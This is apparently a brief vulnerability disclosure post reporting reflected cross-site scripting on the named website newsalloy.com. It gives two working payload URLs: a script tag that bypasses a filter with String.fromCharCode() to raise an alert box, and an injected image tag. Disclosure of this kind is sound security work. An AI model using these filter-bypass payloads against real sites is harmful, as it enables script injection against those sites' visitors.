XSS Vulnerability found In newsalloy.com

http://newsalloy.com  has XSS filtering how ever it can be bypassed it by adding String.fromCharCode() function,as he has done in example when you execute the script you will see alert box.

 And we can also insert an image using <img src= />, you can see image below.

 Website: http://newsalloy.com/

Vulnerable Link: http://newsalloy.com/topic/%3Cscript%3Ealert%28String.fromCharCode%2871,%20105,%20114,%20105,%20115,%20104,%2032,%2083,%20104,%20114,%20105,%20109,%2097,%20108,%20105%29%29%3C/script%3E/

Second Vulnerable Link: http://newsalloy.com/topic/%3Cimg_src%3D%22http%3A%2F%2Fi40.tinypic.com%2F125l7ja.jpg%22_%2F%3E/

Found By : Girish Shrimali